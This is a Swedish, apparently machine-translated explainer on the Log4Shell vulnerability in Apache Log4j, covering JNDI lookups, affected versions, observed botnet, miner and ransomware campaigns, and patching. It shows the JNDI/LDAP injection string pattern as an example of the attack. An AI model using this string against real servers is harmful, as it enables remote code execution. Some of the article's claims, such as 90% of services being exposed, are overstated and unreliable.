Innehållsförteckning[Dölj][Visa]
I slutet av november 2021 upptäckte vi ett stort hot mot cybersäkerhet. Denna exploatering skulle potentiellt påverka miljontals datorsystem över hela världen.
Det här är en guide om Log4j-sårbarheten och hur en förbisedd designbrist lämnade över 90 % av världens datortjänster öppna för attack.
Apache Log4j är ett Java-baserat loggningsverktyg med öppen källkod utvecklat av Apache Software Foundation. Ursprungligen skriven av Ceki Gülcü 2001, är den nu en del av Apache Logging Services, ett projekt av Apache Software Foundation.
Företag runt om i världen använder Log4j-biblioteket för att möjliggöra inloggning på sina applikationer. Faktum är att Java-biblioteket är så allestädes närvarande att du kan hitta det i applikationer från Amazon, Microsoft, Google och mer.
Bibliotekets framträdande plats innebär att alla potentiella fel i koden kan lämna miljontals datorer öppna för hackning. Den 24 november 2021, a moln säkerhet forskare som arbetar för Alibaba upptäckte ett fruktansvärt fel.
Log4j-sårbarheten, även känd som Log4Shell, har funnits obemärkt sedan 2013. Sårbarheten gjorde det möjligt för skadliga aktörer att köra kod på drabbade system som kör Log4j. Det offentliggjordes den 9 december 2021
Branschexperter kallar Log4Shell-felet för största sårbarheten i det senaste minnet.
Under veckan efter publiceringen av sårbarheten upptäckte cybersäkerhetsteam miljontals attacker. Vissa forskare observerade till och med en hastighet på över hundra attacker per minut.
Hur fungerar det?
För att förstå varför Log4Shell är så farligt måste vi förstå vad det kan.
Log4Shell-sårbarheten tillåter exekvering av godtycklig kod, vilket i princip innebär att en angripare kan köra vilket kommando eller kod som helst på en måldator.
Hur åstadkommer den detta?
Först måste vi förstå vad JNDI är.
Java Naming and Directory Interface (JNDI) är en Java-tjänst som låter Java-program upptäcka och slå upp data och resurser via ett namn. Dessa katalogtjänster är viktiga eftersom de tillhandahåller en organiserad uppsättning poster som utvecklare enkelt kan referera till när de skapar applikationer.
JNDI kan använda olika protokoll för att komma åt en viss katalog. Ett av dessa protokoll är Lightweight Directory Access Protocol, eller LDAP.
När du loggar en sträng, log4j utför strängersättningar när de stöter på uttryck av formen ${prefix:name}
.
Till exempel, Text: ${java:version}
kan loggas som Text: Java version 1.8.0_65. Den här sortens ersättningar är vanliga.
Vi kan också ha uttryck som t.ex Text: ${jndi:ldap://example.com/file}
som använder JNDI-systemet för att ladda ett Java-objekt från en URL via LDAP-protokollet.
Detta laddar effektivt in data som kommer från den URL:en till maskinen. Alla potentiella hackare kan vara värd för skadlig kod på en offentlig URL och vänta på att maskiner som använder Log4j ska logga den.
Eftersom innehållet i loggmeddelanden innehåller användarkontrollerad data kan hackare infoga sina egna JNDI-referenser som pekar på LDAP-servrar som de kontrollerar. Dessa LDAP-servrar kan vara fulla av skadliga Java-objekt som JNDI kan köra genom sårbarheten.
Vad som gör det här värre är att det inte spelar någon roll om applikationen är en server- eller klientsida.
Så länge det finns ett sätt för loggern att läsa angriparens skadliga kod är applikationen fortfarande öppen för utnyttjande.
Vem är påverkad?
Sårbarheten påverkar alla system och tjänster som använder APache Log4j, med version 2.0 till och med 2.14.1.
Flera säkerhetsexperter rekommenderar att sårbarheten kan påverka ett antal applikationer som använder Java.
Felet upptäcktes först i det Microsoft-ägda videospelet Minecraft. Microsoft har uppmanat sina användare att uppgradera sin Java-utgåva Minecraft-mjukvara för att förhindra risker.
Jen Easterly, direktören för Cybersecurity and Infrastructure Security Agency (CISA) säger att leverantörer har en stort ansvar för att förhindra slutanvändare från att illvilliga aktörer utnyttjar denna sårbarhet.
"Leverantörer bör också kommunicera med sina kunder för att säkerställa att slutanvändare vet att deras produkt innehåller denna sårbarhet och bör prioritera programuppdateringar."
Attackerna har enligt uppgift redan börjat. Symantec, ett företag som tillhandahåller programvara för cybersäkerhet, har observerat ett varierat antal attackförfrågningar.
Här är några exempel på de typer av attacker som forskare har upptäckt:
- botnät
Botnät är ett nätverk av datorer som är under kontroll av en enda attackerande part. De hjälper till att utföra DDoS-attacker, stjäla data och andra bedrägerier. Forskare observerade Muhstik-botnätet i skalskript som laddades ner från log4j-exploatet.
- XMRig Miner Trojan
XMRig är en gruvarbetare för kryptovaluta med öppen källkod som använder processorer för att bryta Monero-token. Cyberkriminella kan installera XMRig på människors enheter så att de kan använda sin processorkraft utan deras vetskap.
- Khonsari Ransomware
Ransomware hänvisar till en form av skadlig programvara utformad för att kryptera filer på en dator. Angripare kan då kräva betalning i utbyte mot att de ger tillbaka åtkomst till de krypterade filerna. Forskare upptäckte Khonsari ransomware i Log4Shell-attacker. De riktar sig till Windows-servrar och använder sig av .NET-ramverket.
Vad händer härnäst?
Experter förutspår att det kan ta månader eller kanske år att helt fixa kaoset som orsakas av Log4J-sårbarheten.
Denna process innebär att alla berörda system uppdateras med en korrigerad version. Även om alla dessa system är korrigerade, finns det fortfarande det hotande hotet om möjliga bakdörrar som hackare redan kan ha lagt till i fönstret där servrar var öppna för attack.
Många lösningar och begränsningar finns för att förhindra att applikationer utnyttjas av denna bugg. Den nya Log4j version 2.15.0-rc1 ändrade olika inställningar för att mildra denna sårbarhet.
Alla funktioner som använder JNDI kommer att inaktiveras som standard och fjärrsökningar har också begränsats. Om du inaktiverar uppslagsfunktionen på din Log4j-installation kommer du att minska risken för möjliga utnyttjande.
Utanför Log4j finns det fortfarande ett behov av en bredare plan för att förhindra utnyttjande av öppen källkod.
Tidigare i maj släppte Vita huset en verkställande order som syftade till att förbättra den nationella cybersäkerheten. Den inkluderade en bestämmelse för en mjukvaruförteckning (SBOM) som i huvudsak var ett formellt dokument som innehöll en lista över alla föremål som behövs för att bygga applikationen.
Detta inkluderar delar som t.ex öppen källkod paket, beroenden och API:er som används för utveckling. Även om idén med SBOM är till hjälp för transparens, kommer det verkligen att hjälpa konsumenten?
Att uppgradera beroenden kan vara för mycket besvär. Företag kan bara välja att betala eventuella böter istället för att riskera att slösa bort extra tid på att hitta alternativa paket. Kanske kommer dessa SBOM bara att vara användbara om deras omfattning begränsas ytterligare.
Slutsats
Log4j-frågan är mer än bara ett tekniskt problem för organisationer.
Företagsledare måste vara medvetna om potentiella risker som kan uppstå när deras servrar, produkter eller tjänster förlitar sig på kod som de själva inte underhåller.
Att förlita sig på öppen källkod och tredjepartsapplikationer medför alltid en viss risk. Företag bör överväga att utarbeta riskreducerande strategier innan nya hot dyker upp.
Mycket av webben är beroende av programvara med öppen källkod som underhålls av tusentals volontärer över hela världen.
Om vi vill hålla webben en säker plats bör regeringar och företag investera i finansiering av öppen källkod och cybersäkerhetsbyråer som t.ex. CISA.
Kommentera uppropet